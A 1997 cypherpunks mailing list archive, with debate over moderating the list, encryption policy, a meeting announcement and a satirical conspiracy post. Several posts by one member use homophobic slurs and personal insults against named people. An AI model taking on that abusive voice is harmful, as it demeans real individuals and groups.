MIME-Version: 1.0
Content-Type: text/plain



   >Re: the below.  Easily the best and most intelligent suggestion so
   >far.  Why couldn't Sandy and John with all their experience think
   >of this?

Actually, I've been sitting on the sidelines, somewhat bemused, that
this far into online living the cypherpunks have to rehash this
themselves. I've seen this entire exchange at least three times in
the last two years. None of the lists survived. Good luck..

   >> If I might make a suggestion:
   >> Some people want moderation. That's fine, I've never been very big on
   >> letting other people choose what I read, but some people want it.
   >> For those who want it, let someone moderate the list for as long as
   >> they care to do it. Approved messages get a "X-sandy-approved"
   >> header. The responsibility for setting up a filter to toss everything
   >> that doesn't have the header is the responsibility of the end user.
   >> Toad will need to filter incoming posts to make sure they don't come
   >> "pre-approved", but that's the only hole I can think of.
   >> Everyone gets all of the Cypherpunks list. Those who want moderation
   >> filter the unapproved posts, those who want all of it get all of it.
   >> Hopefully, this will make (almost) everyone happy.

---

  Jason Vagner <jlv@sig.bsh.com> Resist KRAP and GAK. Police States 
  Are Bad. "All that one can give is what is going to happen, which may 
  have little to do with a present that you can grasp." - Avital Ronell.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anil Das <das@sgi.com>
Date: Wed, 5 Feb 1997 09:51:04 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: "alt.cypherpunks" people?
In-Reply-To: <5dafe2$hdk@fido.asd.sgi.com>
Message-ID: <32F8C86E.15FB@sgi.com>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dimitri Vulis KOTM wrote:
> 
> Learn to use an anonymous remailer.

Thanks for the hint, Dr. Vulis. I have registered for a course, but
seats are available only in fall.

-- 
Anil Das




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Marshall Clow <mclow@owl.csusm.edu>
Date: Wed, 5 Feb 1997 09:56:09 -0800 (PST)
To: John Young <jya@pipeline.com>
Subject: Re: OECD Waffles
In-Reply-To: <199702051526.HAA28804@toad.com>
Message-ID: <v03101400af1e76d76686@[207.67.246.99]>
MIME-Version: 1.0
Content-Type: text/plain


>2-4-97. Reuters:
>
>Global group fails to endorse Clinton encryption plan
>
>Washington: An influential economic research group is preparing
>guidelines on computer encryption for its member countries but
>will duck some of the most contentious issues involved, according
>to a draft obtained by Reuters.
>
[snip]

Gee, that's funny....

I could have sworn I heard the Hon. Abassador Aaron tell us last week
that the US had "strong international support" for its' key
recovery programs, especially from the OECD.

Here's a quote from an earlier Reuters article:

>   Wednesday January 29 3:26 PM EST
>
>U.S. Encryption Envoy Seeks Industry Cooperation
>
>   SAN FRANCISCO - The Clinton administration's newly named point man on
>   encryption policy is citing international support for U.S. policies
>   limiting use of encryption and called for industry cooperation.
>
>   Ambassador David Aaron, special envoy for cryptography, said on a
>   speech to the RSA Data Security Conference in San Francisco that U.S.
>   allies support the concept of lawful access by governments and the use
>   of key recovery mechanisms.


and a quote from the NY Times:

>The New York Times, January 29, 1997, p. D19.
>
>
> Consensus Sought on Computer Coding
>
> By John Markoff
>
> San Francisco -- The Clinton administration's top overseas representative
> on cryptography -- or data scrambling -- told a group of skeptical
> computer industry executives and technical experts Tuesday that important
> allies support the administration's position that governments should have
> access-coded computer files and digital communications.
>
> The speech by David L. Aaron, made on the opening day of a computer
> security conference, was part of a renewed effort by the administration
> to gain broad support for its efforts to control data-scrambling
> technologies, which are increasingly viewed as crucial components of
> electronic commerce and communications.

I am shocked, SHOCKED, I say, that a representative of our government
would mislead us in this way.

-- Marshall

Marshall Clow     Aladdin Systems   <mailto:mclow@mailhost2.csusm.edu>

Warning: Objects in calendar are closer than they appear.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 5 Feb 1997 08:28:53 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: If guilty of a lesser crime, you can be sentenced for a greater
In-Reply-To: <199702041441.GAA28349@toad.com>
Message-ID: <NDRN2D1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Dale Thorn <dthorn@gte.net> writes:

> Igor Chudov @ home wrote:
> > Dale Thorn wrote:
> > > Igor Chudov @ home wrote:
> 
> > > people who have such money are not going to bump off very many more
> > > people than they already do, because:
> > > 1. They need the people to make money off of (Mafia rule #4, never
> > >    kill someone who owes you money [or is a money source]).
> 
> > This is a wrong Mafia rule, they do kill debtors who are in default.
> 
> Really?  Then how do they collect their money?  BTW, I heard the rule
> from the mouth of a real mob hitman.
mafia used to have a habit of hiring some lonely person do do work for them
(such as, set up their crypto infrastructure), then make him disappear, and he
won' be missed, and they won't have to pay for the work.  Bumping off the people
that you owe money to is bad for one's rep. I'd be reluctant to do consulting
for organized crime for this reason. Perhaps that's why the Feds have such easy
time wiretapping them. :-)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 5 Feb 1997 08:37:09 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Information Warfare
In-Reply-To: <199702041458.GAA28816@toad.com>
Message-ID: <gmRN2D3w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


"tmcghan@mail.bcpl.lib.md.us" <tmcghan@mail.bcpl.lib.md.us> writes:

> in a message allegedly from:  Peter Hendrickson <pdh@best.com>
> 
> > The cypherpunks list has been under "attack" for some time.
> {snip}
> > Some people have dismissed the idea that rogue governmental elements
> > are behind some of our problems.
> {snip}
> > We know that "Information Warfare" is the big thing in the defense
> > establishment right now.
> 
> Information Warfare Conference
> sponsored by DPMA/AITP
> 
> Washington, DC, March 13-14, 1997
> Crystal City Marriott
> 1999 Jefferson Davis Highway
> Arlington, VA  22202
> 
> Presentations by:
> Major General Michael V. Hayden, Commander, Air Intelligence Agency
> Dr. C. Kenneth Allard, Competitive Strategies
> Col. H. Stevens, Land Information Warfare Activity
> 
> - current service visions and planned program initiatives
> - operational concepts for 'third-wave' warfare
> - information warfare drivers for 21st century C4I architectures
> - emerging technologies and systems for information warfare 
> superiority: opportunities on the horizon
> 
> 'information warfare targets and vulnerabilities', Maxim I. Kovel,
>  TASC systems management group
> 
> 'information warfare for deterrence', William H.J. Manthorpe, Jr.
> Applied Physics Laboratory, Johns Hopkins
> 
> 'adaptive techniques for counter-deception', James Llinas,
> technical advisor, DOD JDL, Data Fusion group
> 
> 'emerging threats come in all sizes and flavors', Eugene Schultz, SRI
> consulting
> 
> "Information has been termed the 'fifth dimension' in the conduct of 
> 'third-wave' warfare, and promises to dramatically enhance the role 
> of C4I as a force multiplier.  Joint and individual service doctrine 
> is emerging for IW, ans is affecting the needs and requirements for 
> diverse systems:  from space-based surveillance and communications 
> systems to terrestrial image processing, visualization, and 
> information fusion systems."
> 
> "This conference will provide a valuable forum where military and 
> industry staff can interact with key decision-makers to achieve the 
> most current possible understanding of Information Warfare concepts, 
> initiatives, technologies and potential opportunities.  The Critical 
> Questions to be addressed include:
> 
> - how is IW changing operational concepts?
> - how can we defend the weak links in the planned 
> information-intensive reconnaissance, strike, targeting architecture?
> - what developments in enabling technologies are needed to support 
> current Information Operations, Battlefield Visualization, and 
> Information Exploitation initiatives?
> -what can be done to develop defensive information technology 
> capabilities?
> 
>             and last, but _c_e_r_t_a_i_n_l_y_ not least:
> 
> - how will we move forward to develop a true offensive IW capability
> 
> ==============================================
> 

Many of my f2f meetings with the people on and around this mailing lists were
at the InfoWarCon's. It's no secret that my research interests include IW (with
PsyOps and DOS). And what was Gilmore (spit, fart) doing there?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 5 Feb 1997 08:28:25 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Moderation [Tim,Sandy]
In-Reply-To: <32F81349.6156@gte.net>
Message-ID: <wVRN2D4w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Dale Thorn <dthorn@gte.net> writes:

> Dr.Dimitri Vulis KOTM wrote:
> > Dale Thorn <dthorn@gte.net> writes:
> 
> > > The drunk can be excluded, but when someone wants to use the drunk as
> > > an example to escalate the exclusion to other persons who are not in
> > > fact drunk, watch out!
> 
> > If I get really really drunk, which happens very seldom, then I'm
> > too drunk to post. I don't mind an occasional beer, though.
> 
> > Oksas, have you ever tried beer? :-)
> 
> I had my first beer(s) in three years at one of those industrial
> parties last night.  It made the craps table action seem a bit
> merrier, and the girls were friendlier too.
> 

I like an occasional Coors Lite.  BTW I think Limey Faggots are right about
one think: I like room-temperature beer better than cold beer. YMMV.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 5 Feb 1997 08:28:05 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: A Vote of Silence for Human Gus-Peter
In-Reply-To: <199702050740.XAA18537@toad.com>
Message-ID: <73RN2D5w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Larry Johnson <lwjohnson@grill.sk.ca> writes:

> I want to be the new modernator so anyone who wants me to be it can
> not send any messages, ok?
> So any people who dont send messages are voting for me, ok?
> 
> (If I am modernator I will give everyone free pizza and Schotch.)
> 
> Ok. Now evceryone vote, ok?
> 
> Human Gus-Peter
> 
> 

I volunteer to moderate cypherpunks@toad.com.

I'll use a 'bot (like Sandy uses a 'bot) to junk submissions from Gilmore,
Sandfart, and other known homosexuals, and pass on everything else.

It'll probably have better S/N that Sandy's censored list does now.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 5 Feb 1997 08:22:52 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: "alt.cypherpunks" people?
In-Reply-To: <199702050725.XAA18012@toad.com>
Message-ID: <0esN2D6w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Anil Das <das@sgi.com> writes:

> Adam Back wrote:
> > 
> > What do people think of starting an alt.cypherpunks USENET newsgroup?
> > 
> 
> I have only one objection. I will never post to an Usenet group
> under my real email address for fear of ending up in spammer
> databases.
> 
> -- 
> Anil Das
> 

Learn to use an anonymous remailer.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 5 Feb 1997 08:37:28 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Getting into MIT is impossible
In-Reply-To: <199702050728.XAA18191@toad.com>
Message-ID: <iPsN2D10w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


jim bell <jimbell@pacifier.com> writes:

> Erland van Lidth de Jeude is a MIT grad.  He played the big badass in "Stir 
> Crazy."  Computer science major, BTW.
> 
> 
> 
> 
> At 07:37 PM 2/3/97 -0800, Clint Barnett wrote:
> >wasn't Dolph Lundgren an MIT grad? I seem to remember something about him 
> >having a degree in Chemical Engineering  or something along those lines. 
> >
> >clint barnett
> >lord of the cosmos
> >emily carr institute
> >
> >On Wed, 29 Jan 1997, Anonymous wrote:
> >
> >> 
> >> 
> >> According to Rick Osborne:
> >> 
> >> "I disagree and can speak from experience.  I was denied admission to MIT
> >> even thought I had a 3.82 GPA, 1440 SAT (one try), and had taken 9 AP test
> >> with two 5's, four 4's, two 3's, and one 2.  As for being well-rounded, I
> >> was on several academic teams, sang in Chorus, acted and stage managed in
> >> Drama, and played Tennis."
> >> 
> >> People get into MIT--or don't get into MIT--for lots of reasons. Most
> >> intelligent people apply to several schools, knowing that admissions
> >> practices are subject to the vagaries of reality.
> >> 
> >> In my case, my SATs were about 1500, with some 800s in achievement tests.
> >> And the usual bullshit high school clubs, political offices, etc. etc. I
> >> was accepted by MIT, but not by Caltech. I didn't lose any sleep over the
> >> way things turned out.
> >> 
> >> And I decided not to go to MIT, either.
> >> 
> >> "The only thing I didn't have that the next MIT applicant had was money.  
> >> made the mistake of letting them know that I was dirt poor and would need
> >> full aid/grants/etc, and to quote "The Great Escape" it was "Zzzt! To the
> >> Russian front!""
> >> 
> >> My guess is that "other factors" were involved. 
> >> 
> >> I noted with some interest, but little surprise, that the guy claiming MIT
> >> required a 4.0 GPA and a 1600 combined SAT score could barely spell, and
> >> had major problems making a coherent point. Methinks this is why MIT
> >> rejected him, not his lack of a "1600."
> >> 
> >> ">For what it's worth, I wanted to go to MIT my sophomore year in high
> >> >school, too
> >> 
> >> "Lucky you.  It had been a dream of mine since I was an annoying
> >> overachiever of 6.  Sux to be white trash, I guess."
> >> 
> >> MIT offered me a substantial economic aid package, in the form of loans,
> >> grants, and various campus jobs. What does this tell you?
> >> 
> >> "MIT may be a great school, but they tend to be snooty assholes for the mo
> >> part.  (DISCLAIMER: Not all MIT grads/attendees are necessarily "snooty
> >> assholes", I'm just saying that I've yet to meet one that wasn't.)
> >> 
> >> I've known about a dozen or so MIT grads, and only one of them was a snoot
> >> asshole, and it was a _she_, one of the first MIT women grads (and she was
> >> _very_ impressed by this). 
> >> 
> >> Most MIT grads are perfectly reasonable.
> >> 
> >> Xanthar
> >> 
> >> 
> >> 
> >> 
> >> --
> >> 
> >
> >
> >
> Jim Bell
> jimbell@pacifier.com
> 

This thread has no crypto-relevance, but Sandy the Asshole forwards it to the
censored list.  He also sends crypto-relevant threads to the flames list.
This will be the first post in this thread that Sandy the Asshole will junk.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Marshall Clow <mclow@owl.csusm.edu>
Date: Wed, 5 Feb 1997 10:43:51 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Deloitte-Touche?
In-Reply-To: <9702051741.AA04467@sabel.idacom.hp.com>
Message-ID: <v03101402af1e7d60efa1@[207.67.246.99]>
MIME-Version: 1.0
Content-Type: text/plain


Several people wrote:
>I wrote:
>>ObCrypto policy:
>>        Was anyone else besides me amazed by the guy
>>from Deloitte-Touche at the Internet Privacy Coalition luncheon
>>last week? I mean, he all but advocated violent overthrow of
>>the government. [...]
>
>For the benefit of those of us who were not at this luncheon (probably
>not even in the same country), could you please say more about this,
>Marshall?  What was the subject?  What _did_ the DT speaker say, exactly?
>
After a while, I stopped taking notes, because I was so astounded at
what he was saying.
(Maybe someone with more complete notes could post a better summary)

But, here a brief overview of the luncheon:

Last Wednesday, January 29th, the Internet Privacy Coalition had
a "policy lunch" in San Francisco. It was in one of the hotels hosting
the RSA conference, and at the same time that the conference was
breaking for lunch, so it was easy for attendees to "switch lunches".

The speakers (as I remember, apologies to any I miss) were:
	Whit Diffie
	John Gilmore
	Kenneth Bass (counsel in Karn vs. Dept of State)
	Herb Lin (who ran the NRC staff for the crypto study)
	Marc Rotenberg
	William Hugh Murray (Deloitte & Touche)
	and a couple others that I missed, as I left early.

Mr. Murray gave a long, impassioned speech.

He said that the government is going to crack down on
domestic possession and use of crypto, that they
were looking to increase their wiretapping capabilities
100-fold, and so on.

He was very emphatic about not trusting anything
that the government says, and that once they got
their "foot in the door", that they would seek to
expand their abilities to regulate, etc, etc.

He advocated deployment of strong crypto. He
insisted that there was no way the government
could stop the export of strong crypto. He exhorted
people to refuse to obey the ITAR/EAR regulations,
and to lobby their congresscritters to get the
PRO-CODE bill passed.


It wasn't really what he said that amazed me, because
I had heard most of it (in bits and pieces) before. It
was presenting it all in a package, in an emotional
manner, by an elderly, conseratively dressed
accountant who was representing a large
corporation whose job it is to help people obey the
government.

[ My father was an accountant. He worked for
Deloitte-Touche, in fact. I don't expect accountants
to be passionate about government regs, and
especially not to advocate disobediance. Maybe
that's why this affected me so strongly. ]

-- Marshall

Marshall Clow     Aladdin Systems   <mailto:mclow@mailhost2.csusm.edu>

Warning: Objects in calendar are closer than they appear.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 5 Feb 1997 08:05:06 -0800 (PST)
To: Matts Kallioniemi <cypherpunks@toad.com
Subject: Re: My Departure, Moderation, and "Ownership of the List"
In-Reply-To: <199702051526.HAA28754@toad.com>
Message-ID: <v03007840af1e5fa67e5b@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain


At 8:20 am -0500 2/5/97, Matts Kallioniemi wrote:
>Another way to get rid of the totally clueless and involuntary subscribers
>would be to require subscription requests to be PGP signed and acknowledged
>by the subscriber.

Now, this sounds familiar...

Everyone remember Eric's attempt to force signed messages?

Herding cats, indeed.

Cheers,
Bob

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://www.ai/fc97/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mark Rogaski <wendigo@pobox.com>
Date: Wed, 5 Feb 1997 09:21:37 -0800 (PST)
To: das@sgi.com (Anil Das)
Subject: Re: AltaVista Tunnel
In-Reply-To: <199702051525.HAA28716@toad.com>
Message-ID: <199702051726.MAA12769@deathstar.jabberwock.org>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

An entity claiming to be Anil Das wrote:
: 
: Rick Osborne wrote:
: > 
: > He triumphantly exclaimed that the encryption was 128-bit, but when
: > I said "128-bit what?" he cowered and muttered that he didn't know and went
: > on with his little speech.  The rest of my crypto-specific questions met
: > with equal dark stares.  And these are the people setting industry standards...
: 
: I should be happy that you are bashing a competitor and all, but give
: them a break, OK? The marketing dweeb who has to do product pitches
: on roadshows is not the same as the design engineer who designs the
: system and sets technical standards. There can be a big difference in
: technical knowledge about the product, and even basic competency,
: between the two.
: 

If the marketing-droid didn't have the ability to answer such a basic
question, DEC should have just sent out videotape promos.  I don't
understand why they went through the expense of sending warm bodies
out on a roadshow without giving them enough specification about
the product to give an effective presentation to a predominantly
tech-oriented audience.  From whom did they expect the questions to
come?  A competent marketing professional would AT LEAST know what
standards/protocols the product supported, does a car company send
its sales force out without knowing if the cars use gas or diesel?

Another example of how the Macro$loth mindset of tossing out random
buzzwords to a chorus of ooooh's and ahhhh's has polluted the 
industry.  

In Rick's case, DEC's image was deflated.  OK, so how many other
people present got the same impression.  And it's very likely that
one of those people is a decision maker, or the anecdote got back
to one of the decision makers.  So, due to DEC's failure to ensure
that their sales force new the product, they can probably scratch 
Grumman off of their potential client list.

Mark


- -- 
[]  Mark Rogaski                    || "Computers save time like kudzu    [] 
[]  wendigo@pobox.com               ||  prevents soil erosion."           [] 
[]  http://www.pobox.com/~wendigo/  ||           - afcasta@texas.net      []
[]  >> finger for PGP pubkey <<     ||                                    []

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAwUBMvjCjBz4pZwIaHjdAQEziAf/WXyN1MHZd5E77RIGwQIk37gcTKAnDATS
gKpKW/MWENV5qF7sEdJ/5BEE5KpJUsUvG9+/9ZfmjwLJbaiIAiIKBkLto5oBCwFi
0uR7RFqDCtIIsVzDb+L6gzAKJ98WDTHeaQO7uy3NDo6WkuGdIDtcxe5mzuLmekjE
wlnNy3PCmU6LYZivuW4L8IAXQ+Fd263DX4WaR2FbRGXmdH6/QCJHp7kerjuppNtD
rCaUh1yFoxmzzZp2QLgYhZRGDNzw7SKPCcmMBcPk2873f+U9kdEWrz0LzSQwSlRN
zZGXZMfsuF6PrLckRS8fGO00/ZVuh4byiqGffSP++zwEE6GDcFHR4A==
=Caug
-----END PGP SIGNATURE-----




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Wed, 5 Feb 1997 12:42:57 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Are cypher punks capable?
Message-ID: <199702052042.MAA04287@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 08:57 PM 2/4/97 -0000, Secret Squirrel wrote:
>Against Moderation wrote:
>> In general, unsubscribing and resubscribing to a mailing list is not
>> completely trivial.
>
>Do you think that a cypher punk is not able to solve these problems?
>
I just unsubscribed to cypherpunks, simoutaneously (excuse the spelling)
subscribing to the cypherpunks-unfiltered (and low tar) list.  One problem I
have is in transit, how many messages did I loose?  Since the moderated list
is delayed by however long it takes for Mr. Sandforth to read the messages,
I lost at least as many messages as he pulled in last minus the number of
messages that he had already sent out.  I thought about subscribing for
about four hours to both lists, but I have enough trouble with my account
hitting its maximum kB limit.  I don't have any filters, scripts, or other,
and yet I still had a problem, (one which I finally ignored).





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hugh Daniel <hugh@west.toad.com>
Date: Wed, 5 Feb 1997 13:23:47 -0800 (PST)
To: cypherpunks-announce@toad.com
Subject: ANNOUNCEMNT: February 1997 Cypherpunks Bay Area Meeting
Message-ID: <199702052103.NAA13723@west.toad.com>
MIME-Version: 1.0
Content-Type: text/plain



What:   San Francisco Bay Area Cypherpunks monthly physical meeting
When:   Saturday February 8th, 1997
Where:  Turning Auditorium, Stanford University, Stanford California

Agenda: 11:++	setup, gossip, face feeding etc.
	12:00	USG Export 'Laws' of the week, Roz Thomsen, PGP inc.
	13:00	PGPmail & PGPdisk overview, Dave Del Torto, PGP inc.
	14:00	Break
	14:30   Announcements, late breaking news, etc.
	15:00	The 3 hour 40bit challenge, Ian Goldberg, UCBstudent
	16:00   Why bother killing the list?, Hugh Daniel
		Future Meeting Planing, IPSEC Update, etc.
	17:00	This hour left bank for future expansion...

Dinner:
	18:30	Dinner at Thai City, 3691 El Camino Real, PA

	(All times are approximate and likely to be totaly ignored...)

Directions:
	  Turning Auditorium is in Polya Hall, Jordan Quad, Stanford
	University, Stanford, Santa Clara County, California, USA.
	  A (bit)map to the part of the Stanford Campus where the
	meeting will be held is at:

	http://www-facilities.stanford.edu/transportation/PGrid4.html

General directions:

- From Hwy 101, take the Embarcadero exit all the way to campus. Turn right
(clockwise) on Campus Drive. Turn left into the Jordan Quad parking lot. 

- From Hwy 280, take Sand Hill. Turn right on Junipero Serra, then left
(counterclockwise) onto Campus Drive. Turn right into the Jordan Quad
parking lot.

Host:  Many thanks to Richard Graves <llurch@stanford.edu> and to
	Stanford University for providing the space for this months
	meeting.

Notes:	  We will have a small NHK (Nipon(Japan)) film crew at much of
	this meeting, they are doing a documentary and are interested
	in how this (main) branch cypherpunks works (or does not work
	as the case may be...).
	  We have a wonderful space to do demos in this month, Turing
	Auditorium has Internet, projections screens, audio amps and
	a Clone-PC and a Macintosh to demo software, web sites etc.
	  If you have something Cypherpunkish to demo, this is the
	month to do so!




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lwjohnson@grill.sk.ca (Larry Johnson)
Date: Wed, 5 Feb 1997 11:10:06 -0800 (PST)
To: cypherpunks@toad.com
Subject: I'm Just A Kid (But If I Was A Secret Goverhnment Guy...)
In-Reply-To: <3.0.1.32.19970204031255.006f0b58@mail.io.com>
Message-ID: <32F8F6CD.1D41@grill.sk.ca>
MIME-Version: 1.0
Content-Type: text/plain


I would:>

Make regular government guys pass all kinds of laws and stuff to keep
regular people from having what they need to be talking to each other 
in secret where I couldnt listen. (Cause Im the Secret Guy--not them!)

Sic lawyers and persecutors on a guy if he made some secret-keeping
stuff that worked and let everyone have it if they wanted it.

Make my own secret software stuff using guys who want to make a lot
of money and will do what I want if I make it so they will.
Make businesses lose money unless they used my own secret software
stuff cause they couldnt sell it everywhere unless they did what
I said.

Make a secret guy coup on troublemakers and take over their stuff
so I could use it just for other secret guys and business guys
to tell everyone to use just my own secret-keeping software stuff.

I would make a secret guy coup on a mailing list if it was causing
trouble for me. I wouldnt do it until I had my own secret stuff 
ready to give to everyone though. And I would have my other secret
guys already on the list waiting for me to tell them what to do.
I would cause a lot of trouble on the list and use it to get rid of
the troublemaker guys and make everyone think that I am a good guy
saving them from bad guys wearing black hats and shooting at them
with penis-pictures.
I would let another guy be a dumb guy and do all the bad things
for me on the list so everyone would be mad at him and not at me.

I would let my secret smart guys on the list tell everyone that
the dumb guy wasnt doing dumb and bad things. I would make them
say things that sound real smart but dont really mean anything
except in the direction they are pointing their fingers to make
people look.

I would have my secret guys all saying underneath the conscious
stuff together so that everyone would start believing things that
I want them to believe.

{My uncle just got back from his trip so he is going to help me
with the rest (just the spelling and stuff though) and then he is
going to kill me for making his secret machine call him a _lamer_
when he boots it up}

<::>I want everyone to believe<::>

:>I had to save the list cause it was sick.
My secret guys talk about "the PATHOLOGY of the list"

:>Dictatorship will save them from the chaos of anarchy.
My secret guys talk about the "TRAGEDY of the COMMONS"

:>It is not me but other guys who are trying to steal the list.
My secret guys say "PRIVATE ACTORS..EXTRACT..REPUTATION CAPITAL."

:>Its ok to throw doo-doo on the only original list guy who wont
:>kiss secret guy/big business ass by connecting him in peoples
:>heads with the guy everyone knows is a bad guy (because he uses
:>bad words.
My secret guys say "DMITRI VULIS' BEHAVIOR...SEEKS TO PUNISH THE
LIST for failing to PUNISH or OSTRACIZE TIM MAY..TIM MAY WAS
DISRESPECTFUL" <--"PRIVATE GAIN (PUBLIC RETRIBUTION)"-->OSTRACIZE
TIM MAY...TIM MAY WAS DISRESPECTFUL...PUNISH TIM MAY(PUBLIC 
RETRIBUTION)..."ATTEMPT TO ACHIEVE PRIVATE GAIN...AT THE EXPENSE 
OF...QUALITY AND GOOD NAME OF THE LIST"...OSTRACIZE TIM MAY...DIMITRI
VULIS' BEHAVIOR...TIM MAY IS DISRESPECTFUL...DIMITRI VULIS..TIM MAY

:>Only a few riff-raff are misrepresenting Dictatorship.
My secret guys say "Several..." (the few that escaped the censors
jackboot) "AUTHORS..." (people who only make stuff up in writing) 
"CHARACTERIZED JOHN GILMORE AND SANDY SANDFORT's..." ('made up' the
bad character of) "with RESPECT to MODERATION"...RESPECT MODERATION
...RESPECT MODERATION...RESPECT MODERATION

:>I am not a Dictator who is stealing the list.
My secret guys use nice polite words to describe what people 
really called dictatorship and stealing. 
"MONOPOLIZE" instead of DICTATORSHIP 
"APPROPRIATE" instead of STEAL.

:>Freedom and gain should be associated with private ownership.
My secret guys would put words in the mouths of "FREE-market"
guys (standing by an American flag with their hands over their
hearts singing the national anthem) and make them say that the
"SOLUTION TO "TRAGEDY...IS PRIVATE OWNERSHIP...MAXIMIZE LONG-TERM
GAIN...CAREFUL MANAGEMENT"

:>If there is no list Fuhrer to say how things will always be done
then the email won't run on time.
My secret guys say "WASTEFUL...HARMFUL SHORT-TERM STRATEGIES..."
are what everyone is going to get without a having a Dictator
and "PRIVATE OWNERSHIP...ELIMINATE...WASTEFUL...NONOPTIMAL USE OF
RESOURCES" and "WORK towards...PRIVATE OWNERSHIP"..."ANARCHIC 
COMMUNITY AT ODDS WITH...GOOD USE OF RESOURCES"...WORK-->PRIVATE
OWNERSHIP...ANARCHIC-->WASTEFUL...PRIVATE OWNERSHIP-->SOLUTION TO
TRAGEDY...ANARCHIC-->HARMFUL<->TIM MAY<->DIMITRI VULIS<->HARMFUL
ANARCHIC...PRIVATE OWNERSHIP-->HISTORICAL...OSCTRACIZE TIM MAY
TIM WAS DISRESPECTFUL...ANARCHIC HARMFUL...OSTRACIZE TIM MAY
WORK=PRIVATE OWNERSHIP...WORK=PRIVATE OWNERSHIP
ANARCHIC HARMFUL...OSTRACIZE TIM MAY...ANARCHIC...DISRESPECTFUL
DIMITRI VULIS=TIM MAY...DIMITRI VULIS=TIM MAY=DIMITRI VULIS
OSTRACIZE TIM VULIS...


If I was a secret government guy I would make a cypherpunks home
page and fix it so that anyone who used the "legendary and massive
directory of global Internet resources" (a fancy name for a bunch
of Yahoos) to search for cypherpunks would only find my home page 
and the home pages of two crazy guys.
My home page wouldnt have any links to other peoples cypherpunks
mail list stuff but only the one my secret guys were taking over.
I would hope nobody would notice that almost everyone in the world 
who searches for the cypherpunks would only find the mailing list 
that is censored by my guy and my autobot.
I would hope that nobody would notice that the guy saying hes 
checking to see if secret government guys are messing with the
cypherpunks is one of my guys.


Of course Im just a kid and not a secret government guy so I cant
do all this stuff. Good thing for you guys, huh?
(But you guys should watch out for messages that start with saying,
"You are getting sleepy...you are getting very very sleepy...)

Anyway my uncle is kicking me off of cypherpunks so he can clean up
my mess in my dads email before he gets home. And then hes going
to kill me (but only after I help him find the silver key on the
second level of Duke Nukem3D--hes a gamer-lamer).

You guys might think Im a lamer myself but I got my Sandy flame on
the censored list (on my very first message) using kindegarten 
cryptography and you didnt so maybe you could learn something
from a kid, huh?
My uncle says he doesnt think kids (or anybody else) should have
what they say thrown in the flames-crapper just because someone
doesnt like what they say.
He used to go behind the Iron Curtain so people could hear what
other people didnt want them to hear and now he goes behind the
ElectroMagnetic Curtain instead and he says he wont let any 
lamers shut me up just because their ashamed of what their doing
and dont want anyone to know about it.
He helped me with some of this but only to not sound like a 
real lamer (just a bit of a lamer) but not with what I think
about the cypherpunks. I learned how to read with the Froggie
